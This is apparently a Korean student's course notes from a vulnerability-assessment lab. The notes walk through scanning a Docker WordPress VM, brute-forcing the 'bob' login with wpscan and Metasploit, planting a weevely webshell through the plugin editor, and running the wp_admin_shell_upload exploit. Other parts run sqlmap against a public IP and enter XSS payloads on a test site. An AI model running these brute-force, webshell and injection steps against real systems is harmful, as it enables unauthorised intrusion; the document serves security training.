SK shieldus Rookies 9기/클라우드 기반 취약점 진단 및 대응 실무

취약점 진단 및 대응 실무 5일차 (22/10/21)

ksh_5 2022. 10. 21. 10:37
  • Docker 환경 취약점 분석

 

 

- vmware을 이용하여 ova 이미지 불러오기

※ NAT로 변경 , Memory 4GB로 변경

 

 

$ ping docker IP (192.168.5.128)

- 칼리 vm을 열어 docker로 ping 보내기

 

 

$ sudo nmap 192.168.5.0/24

 

 

$ sudo nmap -sV 192.168.5.128 -p-

※ -sV : 서버나 데몬의 버전 출력

※ -p- : 모든 포트 점검 (지정 안 할 시 정해진 포트만 점검)

 

 

$ sudo nmap -sV 192.168.5.128 -oX result.xml

※ -oX : 결과 값 xml 파일로 저장

 

 

$ sudo nmap -sC 192.168.5.128 -p-

※ -sC : 기본 스크립트로 대상 스캔

 

 

$ sudo nmap -sV -sC 192.168.5.128 -p-

 

 

$ cd /usr/share/nmap/scripts

$ ls

 

 

$ sudo nmap -sV --script=http-enum 192.168.5.128 -p8000-

 

 

$ sudo nikto -h http://192.168.5.128:8000

※ nikto : 오래된 서버 소프트웨어 및 기타 문제 검색하는 무료 소프트웨어 명령줄 취약점 스캐너

 

 

- browsers에서 192.168.5.128:8000/robots.txt

※ robots.txt : 웹사이트에 웹 크롤러같은 로봇들의 접근을 제어하기 위한 규약

 

 

- browsers에서 192.168.5.128:8000/license.txt

- 설치되어 있는 wordpress 확인

 

 

$ sudo dirb http://192.168.5.128:8000/

- dirb : 기본적으로 웹서버에 대한 사전 기반 공격을 시도하여 응답을 분석하는 방식으로 작동

 

 

$ locate wordlist

- locate 명령어로 wordlist을 무식하게 보여줌

 

 

$ sudo wpscan --url http://192.168.5.128:8000/

※ wpscan : 워드프레스 취약점 DB를 API를 받아와 wordpress 사이트를 스캐닝하며 점검

 

 

$ sudo wpscan --url http://192.168.5.128:8000/ --enumerate p

 

 

$ sudo wpscan --url http://192.168.5.128:8000/ --enumerate u

- u : 사용자 정보 확인 → bob

 

 

- bob에 있는 url로 접속

 

 

$ sudo git clone https://github.com/danielmiessler/SecLists.git 

 

 

$ cd SecLists

$ ls

$ cd Passwords

$ ls

 

 

$ cd Common-Credentials

$ ls

 

 

$ sudo wpscan --url http://192.168.5.128:8000/ --usernames bob --passwords /home/kali/SecLists/Passwords/Common-Credential/10-million-password-list-top-10000.txt

- 패스워드 확인 가능

 

 

$ sudo msfconsole

- metasploit 사용

 

 

msf6 > search xmlrpc

- xmlrpc 검색하여 9번에 접속

 

 

msf6 > use 9

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > show options

 

 

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST 192.168.5.128

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RPORT 8000

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME bob

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASS_FILE /경로

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set THREADS 10

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set STOP_ON_SUCCESS ture

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > exploit

 

 

  • 워드프레스 취약점

 

- 플러그인 취약점이 제일 많음

- 플러그인 취약점이 외부에서 공격할 수 있다면 Web을 통해 공격

- 관리자 권한 획득 후 공격 가능한 것 검색 필요

 

 

  • backdoor webshell 생성

 

 

 

 sudo weevely generate hacker shell.php

$ cat shell.php     // 난독화되어있는 악성코드 확인 가능

※ 'Nm'이 되어있는 것 빼면 문자가 보임

 

 

$ cd /usr/share/webshells.php

$ ls

$ cat simple-backdoor.php

 

 

virustotal에 php

 

 

- http://192.168.5.128:8000/wp-admin/plugins.php에서 Plugin의 Hello Dolly Edit 클릭

 

 

- 내용 작성하고 Update File

 

 

$ weevely http://192.168.5.128:8000/wp-content/plugins/hello.php hacker

- weevely에 접속

※ hacker는 pwd

weevely > uname -a     // Linux 접속

 

 

$ cd /proc

$ ls -al

※ 디렉터리 안의 권한 확인

 

 

$ cat cgroup

※ cgroup : 프로세스들의 자원의 사용을 제한하고 격리시키는 리눅스 커널 기능

 

 

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

 

GitHub - andrew-d/static-binaries: Various *nix tools built as statically-linked binaries

Various *nix tools built as statically-linked binaries - GitHub - andrew-d/static-binaries: Various *nix tools built as statically-linked binaries

github.com

- View raw를 클릭하여 Save File 하기

 

 

$ file_upload /home/kali/Download/nmap /tmp/nmap

$ ls

※ 삭제 명령어 rm -rf nmap

 

 

weevely > chmod +x nmap

※ chmod : 파일 권한 변경

 

 

※ ifconfig 사용 가능하게 하기

더보기

$ file_upload /usr/sbin/ifconfig /tmp/ifconfig

$ chmod +x ifconfig

$ ./ifconfig

 

 

※  netstat 사용 가능하게 하기

더보기

$ file_upload /usr/sbin/netstat /tmp/netstat

$ chmod +x netstat

$ ./netstat

 

 

$ sudo msfconsole     // msf 접속

msf6 > search wp_admin     // 페이로드에 접속

 

 

msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options     // options 보기

 

 

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 'docker IP'

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RPORT 'port'

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME 'name'

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD 'pw'

msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

 

 

$ sudo service apache2 start

$ sudo nikto -h http://localhost/

- apache2 start 후, nikto로 localhost 스캔

 

 

$ sudo su -     // root 권한

# ls

# tail access.log | more

※ tail : 파일의 마지막 행을 기준으로 지정한 행까지의 파일 내용 일부를 출력해주는 명령어

 

 

# nmap -sC localhost

- port를 대상으로 분석

 

 

# tail access.log | more

- nmap 스캔하면 Nmap Scripting Engine; 이 뜨는 걸 확인 가능     // nmap 실행하여 생긴 로그

 

 

$ sudo sqlmap -u "http://175.198.224.248:8888/gm/goods_detail.php?goodsIdx=224" --dbs -v 3

※ -v : 자세히 보기

 

 

- PAYLOAD 공격 코드

 

 

https://www.arachni-scanner.com/download/

 

Download

Arachni is licensed under the Arachni Public Source License v1.0, requiring a non-free license for cases of commercialization. Please review the license before downloading. Current version: v1.6.1.…

www.arachni-scanner.com

 

- MS Windows x86 64bit 클릭

 

 

- download

 

 

- C:\Users\user\Downloads\arachni-1.6.1.3-0.6.1.1-windows-x86_64\bin 경로의 arachni_web 클릭

 

 

- arachni_web 실행

 

 

- web 실행 시 "127.0.0.1:9292/d/users/sign_in" url 접속됨을 확인 가능

 

 

- README 메모장을 열면 Email/PW 확인 가능

 

 

- Email / PW 입력 후 Sign in

 

- 사진과 같이 http://testphp.vumnweb.com/ 입력 후  Go! 클릭

 

 

※ chrome 16.v로 변경

더보기

- chrome 16.v 선택하여 다운로드

 

- 다운 후 C:\Users\user\Downloads\arachni-1.6.1.3-0.6.1.1-windows-x86_64\chromedriver 경로에 덮어쓰기

 

 

  • Cross-Site Scripting(XSS)

 

- http://testphp.vulnweb.com/search.php (searchFor)

 

 

- searchFor 명령 삽입 (1<xss_48d69d00e4391da9ba48babd32581a79/>)

 

 

- 1이 출력된 걸 확인 가능

 

 

- gusetbook 클릭

- <script>alert(1);</script>111 입력 후 add message 클릭

 

 

- 1이 출력된 걸 확인 가능